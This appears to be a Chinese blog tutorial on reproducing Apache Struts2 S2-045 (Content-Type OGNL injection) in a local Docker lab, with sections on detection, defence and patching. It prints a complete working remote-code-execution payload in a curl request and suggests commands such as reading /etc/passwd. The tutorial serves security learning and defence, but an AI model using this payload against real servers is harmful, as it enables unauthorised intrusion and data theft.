Struts2 S2-045 漏洞复现

在本地 Docker 靶场复现 Struts2 S2-045,完整讲解漏洞原理、影响、利用、检测、防御与修复。

写在前面:合法学习边界

本文复现只在本机 Docker 靶场进行。Struts2 漏洞利用可能触犯法律,禁止对真实目标使用。请先搭建隔离的靶机环境。

一、漏洞原理

S2-045 是 Apache Struts2 处理 Content-Type 头时的 OGNL 表达式注入漏洞。

成因链路:

1
2
3
1. 请求头 Content-Type 被传给上传组件解析
2. 组件在解析失败时,把错误信息拼进 OGNL 表达式
3. OGNL 表达式被当作代码执行

漏洞本质:不可信输入(Content-Type)进入了表达式解析流程,被当成了代码而不是数据

影响版本:

1
2
Struts2 2.3.5 – 2.3.31
Struts2 2.5 – 2.5.10

二、漏洞影响与危害

攻击者无需认证,只要发送一个恶意 Content-Type 头就能:

1
2
3
4
在服务器上执行任意系统命令(RCE)
读取敏感文件
横向渗透内网
配合内网漏洞提权

风险等级:严重(CVSS 10.0)。这是可以直接拿到服务器控制权的漏洞,也是早期护网和红队的高频入口。

三、漏洞利用 / 复现

环境准备

1
docker run -d -p 8080:8080 --name s2-045 xlfe/s2-045

访问 http://127.0.0.1:8080/ 确认靶场正常返回上传页面。

验证漏洞

1
2
curl -i -X POST http://127.0.0.1:8080/doUpload \
  -H "Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

如果响应里出现命令执行结果(如 uid=0(root)),说明漏洞存在。

利用要点

把 Payload 里的 #cmd='id' 换成要执行的命令:

1
2
3
#cmd='whoami'
#cmd='cat /etc/passwd'
#cmd='id && whoami'

常见失败原因:

1
2
3
4
前面有 WAF 拦截
目标不是 multipart 上传接口
目标版本已修复
Content-Type 被转义或长度限制

复现操作步骤

1
2
3
4
第 1 步:指纹确认 Struts 2 版本
第 2 步:对上传接口发恶意 Content-Type(OGNL payload)
第 3 步:看响应是否回显命令(uid=)—— 回显即 S2-045 确认
第 4 步:换命令验证并升级利用

四、漏洞检测

1
2
3
4
抓请求,看 Content-Type 是否异常长、是否含 %{ 或 OGNL 关键字
查 Web 日志中大量 /doUpload 与 500 错误
看响应是否返回非业务内容(命令输出特征)
用 Nmap/指纹确认 Struts2 版本

五、漏洞防御

1
2
3
4
上传接口单独加固、限制大小
WAF 拦截 Content-Type 中的 %{ 与 OGNL 关键字
对 OGNL 相关关键字做统一过滤
监控异常响应与异常请求体

六、漏洞修复

1
2
3
4
升级 Struts2 到 2.5.10.1 及以上(最根本)
确认 Maven/依赖里所有 Struts2 版本一致
升级后回归上传功能
禁止内网继续使用老版本中间件

修复后建议用同款 payload 复测,确认命令不再被执行。

七、小结

S2-045 的教训:框架版本必须及时更新;任何把用户可控头拼进表达式解析的组件都可能成为 RCE 入口。同时记住,识别框架版本是信息收集的关键,因为它直接决定了利用链。

本站使用「署名 4.0 国际」创作共享协议,可自由转载、引用,但需署名作者且注明文章出处
最后更新于 Aug 29, 2026 12:00 +0800